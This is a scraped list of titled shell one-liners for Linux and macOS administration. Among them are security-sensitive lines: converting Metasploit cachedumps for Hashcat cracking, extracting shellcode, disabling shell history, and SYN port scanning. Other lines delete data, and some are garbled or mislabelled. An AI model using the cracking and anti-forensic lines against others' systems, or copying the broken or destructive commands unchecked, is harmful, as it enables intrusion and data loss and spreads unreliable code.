expr `echo "123671" | sed -e 's/[0-9]/ + &/g' -e 's/^ +//g'` 20
Assemble version 0.90 metadata RAID autodetect like in boot
mdadm --assemble --scan --config /proc/partitions
fstab update
mv /etc/fstab /etc/fstab.old && mount | awk '{print $1, $3, $5, $6}'| sed s/\(//g|sed s/\)/' 0 0'/g >> /etc/fstab
Make keyboard keys repeat properly
defaults write -g ApplePressAndHoldEnabled -bool false
generate an initrd file
cd tmp ; find . |cpio -o -H newc| gzip > ../initrd.gz
english ↔ german translation with dict.leo.org
leo () { lang=en; IFS=+; Q="${*// /%20}"; curl -s "https://dict.leo.org/${lang}de/?search=${Q//+/%20}" | html2text | sed -e '/Weitere Aktionen/,$d' | grep --color=auto --color=always -EA 900 '^\*{5} .*$' }
Umask for user applications (OS X Yosemite)
sudo launchctl config user umask nnn
Generate a directory path based on the date and time
mkdir -p "$(date '+./%Y/%m/%d/%H/%M/%S')"
Finding all files on local file system with SUID and SGID set
find / \( -mount -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \;
Display two calendar months side by side
paste <(cal 8 2018) <(cal 9 2018)
Cleanup remote git repository of all branches already merged into master
git branch --remotes --merged | grep -v master | sed 's@ origin/@:@' | xargs git push origin
securely overwrite a file with random junk, rename it to clear the directory entry and finally delete it
shred -vzu /tmp/junk-file-to-be-shredded
List the CPU model name
sed -n 's/^model name[ \t]*: *//p' /proc/cpuinfo
Finding all numbers that are bigger then 1 in vim
/^\([2-9]\d*\|1\d+\)
Ranking of the most frequently used commands
history | awk '{print $2,$3}' | sed s/sudo// | awk '{print $1}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr
Converting your Xfig 'fig' files to 'eps' and others
fig2dev -L eps file.fig file.eps
Pipe stdout to image and mail
gotxt2imgmail() { if [ $!!! Example "!= 1 ]; then echo 'gotxt2imgmail < email >'; return; fi; e="$1"; f=$RANDOM.png; convert label:@- $f; echo "" | mailx -s $f -a $f $e }
Adding kernel boot parameters after loading kernel and initrd
echo "root=/dev/sda7" > /proc/param.conf
to know which package in Ubuntu is install
dpkg -l | grep (package name)
Display current temperature anywhere in the world in Farenheit
curl -s 'http://www.google.com/ig/api?weather=santa+monica,ca'| sed -ne "s/.*temp_f data..//;s/....temp_c data.*//;p" | figlet
generate a randome 3 character password
tr -dc '[:graph:]' </dev/urandom | head -c30; echo
Batch rename and number files
count='1'; for i in *.jpg; do mv $i $(printf '%01d'.jpg $count); (( count++ )); done
Get Volume ID (Label) of ISO9660 CD-ROM
dd if=/dev/cdrom bs=1 skip=32808 count=32 conv=unblock cbs=32 2>/dev/null
Geo Location of an IP-address
wget -qO - whatismyipaddress.com/ip/<type ip address> | grep -E "City:|Country:" | sed 's:<tr><th>::'| sed 's</th>::' | sed 's:</td>::' | sed 's:</tr>::' | sed 's:<img*::'
Creates an old version raid1 with 3 mirror and 3 spares, from partitions of the same disk
mdadm --create /dev/md0 --metadata=0.90 --level=1 --raid-devices=3 --spare-devices=3 /dev/sdb[5-9] /dev/sdb10
vi sudo access
:w !sudo tee %
disable history for current shell session
HISTFILE=
Play files with mplayer in fullscreen, including files in sub-directories, and have keyboard shortcuts work
mplayer -fs -playlist <(find "$PWD" -type f)
Umask for system processes (OS X Yosemite)
sudo launchctl config system umask nnn
stop all running Docker containers
docker stop $(docker ps -a -q)
Copy all files in subfolders to one folder
find . -type f -exec cp '{}' /path/to/all/folder \;
Finding commands to create alias for
history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n10
delete some 4 months old docker images, not using force
docker images |grep '4 months' | awk '{print$3}' | xargs docker rmi
Remove a passphrase from a private key
openssl rsa -in privateKey.pem -out newPrivateKey.pem
transpose a file
awk '{ for (f = 1; f <= NF; f++) a[NR, f] = $f } NF > nf { nf = NF } END { for (f = 1; f <= nf; f++) for (r = 1; r <= NR; r++) printf a[r, f] (r==NR ? RS : FS) }'
Determine configure options used for MySQL binary builds
cat `whereis mysqlbug | awk '{print $2}'` | grep 'CONFIGURE_LINE='
diff from last committed revision in Mercurial
hg diff -r$((`hg -q par | cut -d":" -f1`-1))
a simple bash one-liner to create php file and call php function
echo '<?php echo str_rot13 ("Hello World\n") ?>' | php
Show the most commonly used commands from .bash_history
cut -f1 -d" " ~/.bash_history | sort | uniq -c | sort -nr | head -n 30
Show/Hide files in Mac OS X
chflags nohidden ~/Library
view HTML code of a web page
GET www.example.com
Run top and pipe out Cpu(s) with crontab (no batch)
20 11 * * * root /bin/top -n 2 -d 1 | grep "Cpu(s):" > file.txt
Take a screenshot of x11 over ssh pipe to view on a mac in one line
ssh user@host.com "DISPLAY=:0.0 import -window root png:-" | open -a /Applications/Preview.app -f
Draw a Sierpinski triangle
perl -le '$l=80;$l2="!" x $l;substr+($l2^=$l2),$l/2,1,"\xFF";{local $_=$l2;y/\0\xFF/ ^/;print;($lf,$rt)=map{substr $l2 x 2,$_%$l,$l;}1,-1;$l2=$lf^$rt;select undef,undef,undef,.1;redo}'
Get the total length of all videos in the current dir in Hs
find -type f -iregex '.*\.\(mkv\|mp4\|wmv\|flv\|webm\|mov\|dat\|flv\)' -print0 | xargs -0 mplayer -vo dummy -ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d\n",$t/3600,$t/60%60,$t%60' | tail -n 1
list all directory sizes and sort by size
du -ks * | sort -nr | cut -f2 | xargs -d '\n' du -sh
Convert JSON to YAML
json2yaml result.json
install only security patch on suse
zypper lp | awk '$5=="security" { print "zypper install -y -n -t patch "$3}' | grep -v "needed" | sh +x
Get ethX mac addresses
ip link show eth0 | grep "link/ether" | awk '{print $2}'
Print a row of 50 hyphens
echo - | sed -e :a -e 's/^.\{1,50\}$/&-/;ta'
prepare unicode text saved from Microsoft Excel 2003 for unix console
iconv -f UTF16LE -t UTF-8 < SOURCE | awk 'BEGIN { RS="\r\n";} { gsub("\n", "\r"); print;}' > TARGET
Extract herds & maintainers' email from a Gentoo metadata.xml file
xmlstarlet sel -t -m '/pkgmetadata/herd' -v . -n -t -m '/pkgmetadata/maintainer' -v email metadata.xml
Download all files of a certain type with wget.
wgetall () { wget -r -l2 -nd -Nc -A.$@ $@ }
List all extneral depencies of an svn-repository
svn propget svn:externals -R [svn-repository-name]
Poor man's watch: Repeat a command every N seconds
watch() { while true; do echo "<Ctrl+V><Ctrl+L>Every 2.0s: $@"; date; eval "$@"; sleep 2; done }
display bash history without line numbers
history | perl -pe "~s/ *[0-9]+ *//"
Resize images with mogrify with lots of options
find . -name '*.[Jj][Pp][Gg]' -exec mogrify -resize 1024">" -quality 40 {} \;
Changes the initial login group for all users with GID > 500 (specified with LIMIT), to group YOURGROUP
for I in $(awk -v LIMIT=500 -F: '($3>=LIMIT) && ($3!=65534)' /etc/passwd | cut -f 1-1 -d ':' | xargs); do usermod -g YOURGROUP $I ; done
Which files/dirs waste my disk space
du -ah | sort -h | tail
rename bunch of movie and srt files to all work with each other
perl-rename -v 's/720p.+mkv/720p\.mkv/' *.mkv
Generate SSH key
ssh-keygen -t rsa -b 4096 -f ~/.ssh/<ROLE>_rsa -C "Comment goes here"
continuously run Docker process
docker run -d ubuntu /bin/sh -c "while true; do echo Hello CLFU; sleep 1; done"
Print all 256 colors for testing TERM or for a quick reference
for i in {0..256}; do echo -e "${i} \033[38;05;${i}m COLOR \033[0m"; done
Make bash look like DOS
export PS1='C:${PWD//\//\\\}>'
Send an http HEAD request w/curl
curl -i -X HEAD http://localhost/
use sed to simulate rpad and lpad
ls / | sed -e :a -e 's/^.\{1,15\}$/&_/;ta'
Get the headlines of an atom feed
atomtitles () { curl --silent $1 | xmlstarlet sel -N atom="http://www.w3.org/2005/Atom" -t -m /atom:feed/atom:entry -v atom:title -n}
List only locally modified files with CVS
cvs -q diff --brief | grep file | cut -d/ -f3- | cut -d',' -f1
Get Lorum Ipsum random text from lorumipsum.com
p=1 ; lynx -source http://www.lipsum.com/feed/xml?amount=${p} | grep '<lipsum>' -A$(((p-1))) | perl -p -i -e 's/\n/\n\n/g' | sed -n '/<lipsum>/,/<\/lipsum>/p' | sed -e 's/<[^>]*>//g'
for ssh uptime
for k in `seq -w 1 50` ; do ssh 192.168.100.$k uptime ; done
Convert metasploit cachedump files to Hashcat format for cracking
cat cachedump.txt | awk -F : '{print $2":"$1}'
Chronometer
NUM=-1; while NUM=`echo $NUM + 1 | bc`; do echo $NUM && sleep 1; done
Edit hosts file to remove "foo.novalocal" from it where foo is the hostname of a new VM
sed -e "s/^127.0.1.1 $(hostname).novalocal/127.0.1.1/g" /etc/hosts
Get the number of commits in a git repository
git log --pretty=oneline | wc -l
OS X application launcher with fuzzy search
find /Applications -name "*.app" -maxdepth 2 | fzf --exit-0 | open
Shell to discover MTU using ping
ADDR=127.0.0.1 ; for i in `seq 1300 1501`; do echo -ne "Pacote de tamanho $i bytes" ; ping -A -c1 -w10 -s $i -Mdo $ADDR 2>&1 > /dev/null || break ; echo -ne "\r\033[2K" ; done ; echo -ne "\r\033[2K" ; echo -e "MTU bem sucedido com `expr $i`"
Convert libreoffice files : .odt .odg and other to .pdf
find /home/foo/Documents/ -type f -iname "*.odt" -exec libreoffice --headless --convert-to pdf '{}' \;
Get ethX mac addresses
ifconfig | awk '/HW/ {print $5}'
simple echo of IPv4 IP addresses assigned to a machine
ip addr | awk '/inet / {sub(/\/.*/, "", $2); print $2}'
Reload an open file in emacs
C-x C-v, Enter
Geolocate a given IP address
ip2loc() { wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICountry\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g'; }
Backup a file with a date-time stamp
buf() { cp -v $1 ${1/${1%%.*}/$f-$(date +"%Y%m%d_%H%M%S")};}
Run previous same command in history
<comand> && !<command>
delete the files from the given directory except the PDF file
ls -1 $PATH*/* | xargs file | awk -F":" '!($2~/PDF document/){print $1}' |xargs rm -rf
Check a port's state on a given host
checkport() { sudo nmap -sS -p $1 $2 }
space to underscore across single directory
rename ' ' '_' *
detect partitions
sudo file -bs /dev/sda | sed -e 's/.*partition 1\(.*\) code offset.*/partition 1\1/g' -e 's/\(.\);/\1\n/g'
List prime numbers from 2 to 100
seq 2 100 | factor | sed '/ .* / d ; s/:.*//'
investigates the network connection between the host and google public dns server
mtr -t -o "LSD NBAW" 8.8.8.8
Replace all the spaces in all the filenames of the current directory and including directories with underscores.
rename "s/ /_/g" * .*
Opens an explorer.exe file browser window for the current working directory or specified dir (Fixed)
explorer . &
Extract android adb backup to tar format (only works for non encrypted backups)
dd if=backup.ab bs=24 skip=1 | zlib-flate -uncompress > backup.tar
Get all shellcode on binary file from objdump
echo "\"$(objdump -d BINARY | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""
Find out the Firefox bookmarks that have "string" in their note (aka 'description')
sqlite3 -list places.sqlite 'SELECT item_id, content FROM moz_items_annos ;' | grep -A9 "string" ; sqlite3 places.sqlite 'SELECT title FROM moz_bookmarks WHERE .fk = <item_id number> ;'
Simple list of apache2 virtualhosts
/usr/sbin/apache2ctl -S
Sort the current buffer in vi or vim.
:1,$!sort
List all background image URLs referenced in CSS files in directory and subdirectories
ack -o -h --nogroup --css 'url\((.*)\)' --output "\$1"
Command to rename multiple file in one go
find / -name "*.xls" -print0 | xargs -0 rename .xls .ods {}
Count the number of pages of all PDFs in current directory and all subdirs, recursively
find -iname "*.pdf" -exec pdfinfo -meta {} \;|awk '{if($1=="Pages:"){s+=$2}}END{print s}'
Remove hidden CVS merge helper files
find . -name ".#*" -exec rm {} \;
Get all links of a website
lynx -dump http://www.cooks4arab.com | awk '/http/{print $2}' | egrep "^https{0,1}"
Number of connections per IP with range 24
netstat -tn | grep :80 | awk '{print $5}'| grep -v ':80' | cut -f1 -d: |cut -f1,2,3 -d. | sort | uniq -c| sort -n
Clone all github repos of a user
curl -s "https://api.github.com/users/${USERNAME}/repos" | ruby -rubygems -e 'require "json"; JSON.load(STDIN.read).each {|repo| %x[git clone #{repo["ssh_url"]} ]}'
Rename your Raspberry Pi
sudo sed -i 's/raspberrypi/pita1/' /etc/hosts /etc/hostname; sudo reboot
Search history, return unique results
function hgr() { grep --color -i "${1}" ~/.bash_history | sed -e 's/^ *//g' -e 's/ *$//g' | sort | uniq; }
Delete all lines beginning with a comment in vim
:g/^#/d
Compare a remote file with a local file
diff <(ssh $remote_site cat $file) $file
install an AUR package snapshot in archlinux
makepkg -sri
copy one partition to another with progress
pv -tpreb /dev/sdc2 | dd of=/dev/sdb2 bs=64K conv=noerror,sync
my command for downloading delicious web links,
wget -H -r -nv --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net --exclude-directories=
Print sorted count of lines
alias sucs="sort | uniq -c | sort -n"
Get the information about the internet usage from the commandline.
vnstat
python one-liner to get the current week number
python -c 'import datetime; print(datetime.date.today().isocalendar()[1])'
Check the package is installed or not. There will show the package name which is installed.
apt-show-versions | grep '\bpython\b'
copy with progress bar - rsync
rsync -aP --no-whole-file --inplace
list all available disks and disk partitions
grep -e "[sh]d[a-l][0-9]\?" /proc/partitions | awk '{print $4}'
Display EPOCH time in human readable format using AWK.
echo 1268727836 | awk '{print strftime("%c",$1)}'
Delete all apps in a heroku org
heroku manager:apps --org org-name | xargs -I {} heroku apps:delete {} --confirm {}
Installation Ksuperkey by one command in Kubuntu.
sudo apt-get install git gcc make libx11-dev libxtst-dev pkg-config -y && git clone https://github.com/hanschen/ksuperkey.git && cd ksuperkey && make && sudo mv ksuperkey /usr/bin/ksuperkey && cd ~ && rm -rf ksuperkey
Get list of updateable packages on Debian/Ubuntu machines using salt stack
salt -G 'os_family:Debian' cmd.run 'apt-get dist-upgrade --dry-run | grep ^Inst | cut -d" " -f2'
toggle line wrapping in your terminal
tput rmam
Anonymous ssh using tor proxy (or any socks based proxy)
ssh -o ProxyCommand="nc -X 5 -x localhost:9050 %h %p" username@remote_host
rsync over ssh using alternative port number
rsync -arvz -e 'ssh -p 2233' --progress --delete remote-user@remote-server.org:/path/to/folder /path/to/local/folder
compute the total disk space consumed by a list of files
LISTCOUNT=0; LISTSIZE=0; cat /tmp/filelist | while read FF; do FILESIZE=$(stat -c%s "$FF"); LISTSIZE=$[LISTSIZE+${FILESIZE}]; echo listsize: $LISTSIZE; LISTCOUNT=$[LISTCOUNT+1]; echo listcount: $LISTCOUNT; done | tail -2
Open Finder from the current Terminal location
xdg-open .
displays working directories 10 largest files in bytes and quickly
du -sk * | sort -n | tail
Get/List firefox bookmarks by tag from json backup
ftagmarks(){ jq -r --arg t "$1" '.children[] as $i|if $i.root == "tagsFolder" then ([$i.children[] as $j|{title: ($j.title), urls: [$j.children[].uri]}]) else empty end|.[] as $k|if ($k.title|contains($t)) then $k.urls else empty end|.[]?' "$2"; }
tar and bz2 a set of folders as individual files
for f in *screenflow ; do tar cvf "$f.tar.bz2" "$f"; done
A bash function to show the files most recently modified in the named (or current) directory
function t { ls -ltch $* | head -20 ; }
Get ethernet card information.
ethtool eth0
Define words with google. (busybox version)
wget -q -U busybox -O- "http://www.google.com/search?ie=UTF8&q=define%3A$1" | tr '<' '\n' | sed -n 's/^li>\(.*\)/\1\n/p'
Indent all the files in a project using emacs
lst=`find . -iname \*.c -or -iname \*.h`; for i in $lst; do emacs -nw -q $i --eval "(mark-whole-buffer)" --eval "(indent-region (point-min) (point-max) nil)" --eval "(save-buffer)" --kill; done
Calculate a transcendental number (pi)
seq 1 2 99999999 | sed 's!^!4/!' | paste -sd-+ | bc -l
multimedia ping
continuar=true; while $continuar; do if ping -c 3 [target_IP_address] 2>&1> /dev/null ; then mplayer [sound_file]; continuar=false; break; fi; done
Show package dependencies with apt
apt-cache depends <packagename>
Monitoring a port connections
watch -n1 'netstat -tn | grep -P :22'
dd with nice progress bar
dcfldd if=/dev/zero of=/dev/null
Kill google chrome process
killall "Google Chrome"
SSH with debug to troubleshoot any connection issues
ssh -v jsmith@remotehost.example.com
Network Interfaces
awk '{print $1}' /proc/net/dev|grep :|sed "s/:.*//g"
Filtering IP address from ifconfig usefule in scripts
/sbin/ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'
strace alternative for Mac OS X
dtruss [ -p <pid> | -n <pname> ]
Run skype using your GTK theme
sudo sed -i 's/Exec=skype %U/Exec=skype --disable-cleanlooks -style GTK %U/' /usr/share/applications/skype.desktop
XKCD "now" wallpaper (http://xkcd.com/now)
convert http://imgs.xkcd.com/comics/now.png -negate /tmp/now.png ; DISPLAY=:0.0 awsetbg -c /tmp/now.png
aggregate several small files together with headers
more /etc/sysconfig/network-scripts/ifcfg-eth* | cat
Get your external IP address
curl http://ident.me
talking clock
echo $(date +%m) past $(date +%H) | espeak
Open the current directory in the OS X Finder.
open .
add a little color to your prompt
PS1="\[\033[44;1;37m\]\u\[\033[0m\]@\h\\$ "
Strip out Hungarian notation from a PHP file
cat file.php | perl -p -e 's/(\$|->)(str|arr|obj|int|flt|boo|bool|mix|res)([A-Z])/$1\L$3/g'
Use the page up key to complete the command.
echo "\"\e[5~\": history-search-backward" >> ~/.inputrc
Show the ordered header line (with field names) of a CSV file
function headers { head -1 $* | tr ',' '\12' | pr -t -n ; }
Move all files untracked by git into a directory
git clean -n | sed 's/Would remove //; /Would not remove/d;' | xargs mv -t stuff/
Open the last modified file of a certain type
open-command $(ls -rt *.type | tail -n 1)
Find, Replace, Write & Remove First 5 Lines
variable="foo" && sed 's/bar/'$variable'/g' $variable.conf >> $variable.temp && sed '1,5d' $variable.temp && mv $variable.temp $variable.conf
Show package reverse dependencies with apt
apt-cache rdepends <packagename>
Generate an XKCD #936 style 4 word password
perl -F'\s+' -anE 'push @w,$F[1];END{$r.=splice @w,rand @w,1 for(1..4);say $r}' diceware.wordlist.asc
Command to generate an integer from the hostname, valid within the Days of Month
$(($(hostname|sum|cut -f1 -d" ")%27+1))
Find your Amazon EC2 instance type
curl -s http://169.254.169.254/latest/meta-data/instance-type
What is my public IP address
curl -s checkip.dyndns.org|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'
Generate random password, human readable with no special characters.
false; while [ $? != 0 ]; do apg -c /dev/urandom -n1 -E oOlL10 | egrep '^[[:alnum:]]+$'; done
Suspend ssh session
~ <Ctrl+Z>
comment / uncomment a line in a file using sed.
(comment:) $ sed -i 's/blah.*/#&/g' file.txt (uncomment:) $ sed -i 's/.\(blah*.\)/\1/g' file.txt
like rm, but keep backups of files and dirs in ~/.rm
alias rn='mkdir -p ~/.rm`pwd`; mv -v -f --backup=t -t ~/.rm`pwd` "$@"'
Quickly write and run a C program.
vim test.c && gcc -x c -o a.out test.c && ./a.out && rm a.out test.c
Find default gateway
ip route list 0/0
Global BTC rate in EUR
echo "BTC rate is" $(wget https://api.bitcoinaverage.com/ticker/global/EUR/ -q -O - | jq ".last") "?"
Search irssi logs for specific pattern and display time and matching lines
find ~/irclogs/ -type f -printf "%T+\t%p\n" | sort | cut -f2 | xargs -I {} sed -n "/^\-\-\-/ {x; /searched phrase/ p;x;h}; /searched phrase/ {H;};" {}
Show public IPv4 and IPv6
echo "IPv4: $(curl -s4 ip.appspot.com)" ; echo "IPv6: $(curl -s6 ip.appspot.com)"
Convert an ssh2 public key to openssh format
ssh-keygen -i -f $sshkeysfile >> authorized_keys
Name a backup/archive file based on current date and time
archivefile=filename-$(date +%Y%m%d-%H%M).tar.gz
dos2unix recursively
find . -type f -exec dos2unix {} +
Recursively replace a string in files with lines matching string
for i in `find . -type f`; do sed -i '/group name/s/>/ deleteMissing="true">/' $i; done
backup home dir exclude dot files
tar --exclude=".??*" -zcvf ./home_backup_2008.tar.gz my_home
Get version values (ProductName, ProductVersion, BuildVersion) for Mac OS X
sw_vers [-productName|-productVersion|-buildVersion]
un-escape URL/URIs with Ruby
echo 'example.com%2Fsome%2Fpath' | ruby -r'cgi' -e 'puts CGI.unescape(STDIN.read)'
Stop adobe and Flash from tracking everything you do.
adobenospy() { for I in ~/.adobe ~/.macromedia ; do ( [ -d $I ] && rm -rf $I ; ln -s -f /dev/null $I ) ; done }
mkdir some file and mv some file
for i in `seq 100`; do mkdir f${i}; touch ./f${i}/myfile$i ;done
convert from decimal to hexadecimal
python -c 'print hex(1337)'
copy hybrid iso images to USB key for booting from it, progress bar and remaining time are displayed while copying
pv -petrs $(stat -c %s file.iso) file.iso | dd bs=1M oflag=sync of=/dev/sdX
SSH statistics
~s
Aligns NIC device names and associated IPs.
/sbin/ifconfig |awk '/bond|eth/{getline i;printf $0" ";printf "%s\n", i" "}'|awk '{print $1,substr($7,6)}'
List partition superblocks
sudo dumpe2fs /dev/sda1 | grep superblock
adb connect to last IP address
eval $(history | cut -c 8- | grep "adb connect [0-9]" | tail -1)
Resource Monitoring
echo "DISK:";df -Pl | grep -v "Filesystem" | awk '{print $5,$6}' ; echo "MEM:" ; free -mto | awk '{ print $1,$2,$3,$4 }'; echo "CPU:"; top -b -d1 -n1 | grep Cpu | awk '{print $2,$3,$4,$5,$6,$7,$8,$9}';echo "LOAD:"; cat /proc/loadavg
Print a row of characters across the terminal
perl -E'say "#" x '$COLUMNS
List widescreen wallpapers in current dir
wallpaper -w 800 -x 16384 -a 1.7 -b 1.85 *
pack directory with different name
tar -czvf talking-clock.tar.gz source/ --transform s/source/talking-clock/
Check the connection of the maximum number of IP
netstat -na | grep ESTABLISHED | awk '{print$5}' | awk -F : '{print$1}' | sort | uniq -c | sort -r
Stop all running docker containers
docker stop $(docker ps -a -q)
Get your external IP address
$ curl -L ipconfig.me
Download WordPress using Docker
mkdir -p src && chmod 777 src && docker run -v $(pwd)/src:/var/www/html wordpress:cli core download && chmod 755 src
Create files of arbitrary size in Windows
fsutil file createnew FILENAME filesize(inbytes)
Convert a VMWare screencast into a flv file
mencoder -of avi -ovc lavc movie.avi -o movie2.avi; ffmpeg -i movie2.avi -r 12 -b 100 movie.flv
Remove branches that no longer exist from being shown via 'git branch -a'
git remote prune origin
List contents of jar
LESSOPEN="| /usr/bin/lesspipe %s" less file.jar
Find Files over 20Meg
find . -type f -size +20000k -print0 | xargs -0 du -h | awk -F"\t" '{printf "%s : %s\n", $2, $1}'
Find processes by current user on a Solaris box
ps -u `/usr/xpg4/bin/id -u`
copy hybrid iso images to USB key for booting from it, progress bar and remaining time are displayed while copying
pv file.iso >/dev/sdX
mkdir and cd
function mkdircd () { mkdir -p "$@" && eval cd "\"\$$#\""; }
Print a single character from a string with AWK.
echo "abcdefg"|awk 'BEGIN {FS="''"} {print $2}'
Substituting command argument
$ COMMAND !$
Find Duplicate Files (based on size first, then MD5 hash)
find . -type f -size +0 -printf "%-25s%p\n" | sort -n | uniq -D -w 25 | sed 's/^\w* *\(.*\)/md5sum "\1"/' | sh | sort | uniq -w32 --all-repeated=separate
Pronounce an English word using Merriam-Webster.com
pronounce(){ xidel "http://www.m-w.com/dictionary/$*" -f "replace(css('.au')[1]/@onclick,\".*'([^']+)', *'([^']+)'.*\", '/audio.php?file=\$1&word=\$2')" -f 'css("embed")[1]/@src' --download - | aplay -q;}
for ssh uptime
clush -w 192.168.100.[1-50] -t 10 'uptime'
Call svn mv recursively to rename the C prefix from class names
for i in $(find . -regex '.*\/C.*\.cpp'); do svn mv `perl -e 'my $s=$ARGV[0]; $s=~m/(.*\/)C(.*)/; print "$s $1$2"' "$i"`; done
Tar a directory excluding CVS, SVN, GIT and similar directories
tar -cvj --exclude-vcs -f archive.tar.bz2 somedirectory
Wait for file to stop changing
echo FileName | perl -nlE'sleep 1 while time-(stat)[10]<10' && echo DONE
Fix "Unknown media type in type" warnings when installing packages
sudo sh -c "rm /usr/share/mime/packages/kde.xml && update-mime-database /usr/share/mime"
Play Lisp Snake in Emacs
emacs -f snake
check for hanging postgres process (postmaster.pid)
cat /usr/local/var/postgres/postmaster.pid
Android PNG screenshot
adb exec-out screencap -p > screenshot.png
Remove CVS root files under current directory
find . -name Root -print | xargs rm -f
Read just the IP address of a device
/sbin/ifconfig | awk -F'[ :]+' '/inet addr/{print $4}'
Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard.
find -type f |while read a;do [ "`head -c3 -- "${a}"`" == $'\xef\xbb\xbf' ] && echo "Match: ${a}";done
Shorten url with is.gd using curl, perl
curl -s "http://is.gd/api.php?longurl=[long_url]"
Recursively replace a string in files with lines matching string
find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' %
Get movie length
mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LENGTH/{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); printf "%d:%02d:%02d\n",H,M,S}'
get biggest directories
du -kh --max-depth=1 | sort -n |head
Check variable has been set
isdef() { eval test -n \"\${$1+1}\"; }
display lines in /etc/passwd between line starting …
Print heap addresses and size
PID=`ps | grep process_name | grep -v grep | head -n 1 | awk '{print $1}'`; cat /proc/$PID/smaps | grep heap -A 2
Recursively sort files by modification time through multiple directories.
find /test -type f -printf "%AY%Aj%AH%AM%AS---%h/%f\n" | sort -n
Order all files oldest to newest then get the last one touched
ls -lT -rt | grep "^-" | awk 'BEGIN {START=2002} (START <= $9){ print $10 ;START=$9 }' | tail -1
Get the Nth argument of the last command in $HISTFILE
function garg () { tail -n 1 ${HISTFILE} | awk "{ print \$$1 }" }
one liner to rename files with for and sed
for fn in *.epub; do echo mv \"$fn\" \"`echo "$fn" | sed -E 's/\.*\/*(.*)( - )(.*)(\.[^\.]+)$/\3\2\1\4/' | sed -E 's/(.*) ([^ ]+)( - )(.*)/\2, \1\3\4/' `\";done | sh
Find directories in pwd, get disk usage, sort results
du -a | sort -nr | head -10
drop first column of output by piping to this
perl -anE'say join "\t",@F[1..$#F]'
Restart Plasma without logging off from KDE
pkill plasma-desktop && plasma-desktop
Play Lisp Tetris in Emacs
emacs -f tetris
Get current Xorg resolution via xrandr
xrandr | awk '/*/ {print $1}'
conver mp3 to m4b
mpg123 -s input.mp3 | faac -P -X -w -o output.m4b -
get value after comma from an arithmetic operation
echo "scale=6;2048 / 2.345" | bc
Indent all the files in a project using emacs
find . -iname \*.c -or -iname \*.h -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \;
Reading my nic's mac address
ifconfig | grep HWaddr
Merge PDFs into single file
pdftk input1.pdf input2.pdf cat output output.pdf
Prevent command history file from being overwritten by multiple shell sessions.
echo "shopt -s histappend" >> ~/.bashrc ; . ~/.bashrc
cvs diff HEAD and current branch
cvs up -pA main.cpp | sdiff -s - main.cpp
Print heap addresses and size
PID=`pgrep -o <process_name>`; grep -A 2 heap /proc/$PID/smaps
Create a file
> filename
Create rsyncable tar archives with gzip compression
GZIP="--rsyncable" tar -czf something.tgz /something
Directory stack pushd popd dirs
pushd path/to/dir/
Macports update and clean all packages
sudo port selfupdate && sudo port upgrade outdated && sudo port clean --all installed && sudo port -f uninstall inactive
execute/start some scripts on a remote machine/server (which will terminate automatically) and disconnect from the server
ssh remoteserver 'nohup /path/to/script `</dev/null` >nohup.out 2>&1 &'
Generate a random password using python and random lib.
python -c 'import random; print "".join([random.choice("abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*-_=+") for i in range(10)])'
Convert all the png files in a directory to gif in parallel. Requires imagemagick.
find . -name "*.png" | xargs -I '{}' -P 4 mogrify -format gif '{}'
Copy command output to clipboard (or selection)
xclip -i <(pwd)
Bitcoin Brainwallet Private Key Calculator
$ bitgen hex 12312381273918273128937128912c3b1293cb712938cb12983cb192cb1289b3 info
Remove all untracked files/directories from the working tree of a git repository.
git clean -dfx
Check the reserved block percentage of an Ext⅔ filesystem
dumpe2fs -h /dev/sda1 2> /dev/null | awk -F ':' '{ if($1 == "Reserved block count") { rescnt=$2 } } { if($1 == "Block count") { blkcnt=$2 } } END { print "Reserved blocks: "(rescnt/blkcnt)*100"%" }'
Go to man section of bash builtins
man () { if [[ $(type ${1}) =~ "is a shell builtin" ]]; then; /usr/bin/man -P "/usr/bin/less -iRs --pattern=\"^ *${1}\"" bash; else; /usr/bin/man ${1}; return; fi; }
grep all class definitions from all files in current directory
grep -RE 'class\s+(\w+)' --color *
Parallel XZ with progress bar
function xzv() { THREADS=`grep processor /proc/cpuinfo | wc -l`; for file in $*; do pv -s `stat -c%s $file` < $file | pxz -q -T $THREADS > $file.xz ; done; }
convert html links into plain text with link anchor
sed 's!<[Aa] *href*=*"\([^"]*\)"*>\([^<>]*\)</[Aa]>!\1,\2!g' links.html
Display directory hierarchy listing as a tree
find . -printf '%p\n' | perl -ne 'if( m/(.*)\/(.*)/ ) { $p = $1; $f = $2; $p =~ s/[^\/]/ /g; $p =~ s/\//|/g; print "$p/$f\n"; } elsif( m/(.*)/ ) { print "$1\n"; } else { print "error interpreting: \"$_\"\n"; }'
Fast and deep search query for any package in gentoo portage system
eix --open -S log --and -S color --close
SAR - Get the monthly queue length average using sar -q for both the runq-sz and plist-sz.
ls /var/log/sa/sa[0-9]*|xargs -I '{}' sar -q -f {}| awk '/Average/'|awk '{runq+=$2;plist+=$3}END{print "average runq-sz:",runq/NR; print "average plist-sz: "plist/NR}'
Terminate a dead ssh connection with out restarting the termainal
CTRL+~ then .
Information about RAM HW.
sudo dmidecode --type 17
Convert YAML to JSON
ruby -ryaml -rjson -e 'puts JSON.pretty_generate(YAML.load(ARGF))' < file.yml > file.json
